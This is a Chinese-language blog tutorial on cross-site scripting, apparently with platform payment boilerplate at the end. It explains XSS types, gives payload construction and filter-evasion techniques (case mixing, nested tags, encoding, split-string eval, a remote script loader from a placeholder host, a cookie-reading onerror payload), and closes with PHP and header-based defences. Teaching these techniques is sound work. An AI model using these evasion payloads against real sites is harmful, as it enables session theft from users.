XSS构造与防御

XSS原理

  • xss概念
    xss又叫css(cross site scripting,跨站脚本攻击),xss攻击通过在web页面插入恶意脚本,当页面被浏览时,恶意脚本会被执行,实现攻击用户的目的。
  • xss类型
    1、存储型/持久型
    存储型指恶意脚本会被存储在服务器端,如数据库中或者文件中。例如留言板等很容易因为输入检验不严谨导致被攻击。
    2、反射型/非持久型
    反射型一般是带有恶意脚本参数的URL,是一次性的。
    3、DOM型
    基于DOM文档对象模型的xss漏洞,客户端的恶意脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。可能触发DOM型xss的属性有document.write、innerHTML、location、window.name、document.referer等。

XSS构造方法

1、利用html标记<>进行操作
这是最简单的利用方式,如:

<script>alert(1);</script>
<script>prompt(1)</script>
<iframe src="javascript:alert(1)">

2、利用html标签属性
利用html标签支持js伪协议形式,如src,href,background、value、action、lowsrc、bgsound、dynsrc等,进行xss注入。如:

<img src="javascript:alert(1);"/>
<table background="javascript:alert(1);"></table>

3、事件利用
可以利用html中某些动作事件,绑定恶意脚本。常用的事件有mouseover、onclick、onfocus、onerror、onload、onchange等,具体见:html事件属性

<input type="button" value="click me" onclick="alert(1)" />

4、利用css跨站
css样式表可作为恶意脚本载体,不需要嵌入html中,可以通过link或者@import进行引用,比较隐蔽,不过不同浏览器之间不能通用。

<div style="background-image:url(javascript:alert(1))"></div>
<style>
    body{background-image:url(javascript:alert(1));}
     //expression中可使用全角字符
    p{background-image:expression(alert(1));}
    <style>@import'javascript:alert('xss');'</style>
</style>

5、规避过滤规则
可利用大小写混淆、拼接和拆分(空格回车和tab绕过)、字符编码等方式,如:

<scRiPt>alert(1);</scrIPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src="javas		cript:alert(1);"/>//语句必须完整,有分号或者标签对。
//可以将代码用ASCII码替换,也可十进制、十六进制、八进制编码
<img src="javascrip#116&#58alert(1)" />
<a href=&quot;#javascript:alert(&#39;xss&#39;)&quot;>xss</a>
//拆分,可绕过长度限制
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script>

6、DOM方法利用

var s=document.createElement("script");
s.src="http://xxx/xxx.js";
document.getElementsByTagName("head")[0].appendChild(s);

7、location方法利用
利用location加JavaScript伪代码,将“符号”、“变量名”、“函数名” 都变成字符串,在字符串中可以使用js编码,构造payload。

<input type="button" value="click me" name=javascript:alert%281%29" onfocus=location=this.name />
<img src="1" onerror=location="javascr"+"ipt:al"+"ert%28docu"+"ment.co"+"okie%29">

以上几种构造方法结合使用会让恶意脚本更难辨识。

XSS防御措施

  • 字符检验过滤
    合理利用正则表达式,过滤,iframe,script,<>,javascript,空格,引号、&等
  • php中过滤方法
    1.htmlspecialchars函数,将字符内容转化为html实体
    2.htmlentities函数
    3.HTMLPurifier.auto.php插件
    4.RemoveXss函数
    5.addslashes() 函数,返回在预定义字符之前添加反斜杠的字符串。
    6.strip_tags() 函数,剥去字符串中 HTML、XML 以及 PHP 标签。
  • 输出html时,加上Content Security Policy的Http Header,可防止页面被XSS攻击时,嵌入第三方的脚本文件等
  • 设置Cookie时,加上HttpOnly参数
  • 开发API时,检验请求的Referer参数
  • ……

总结

前端,后端都要对输入、输出作校验,一定不能信任每一个输入,也不能放过每一个输出。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值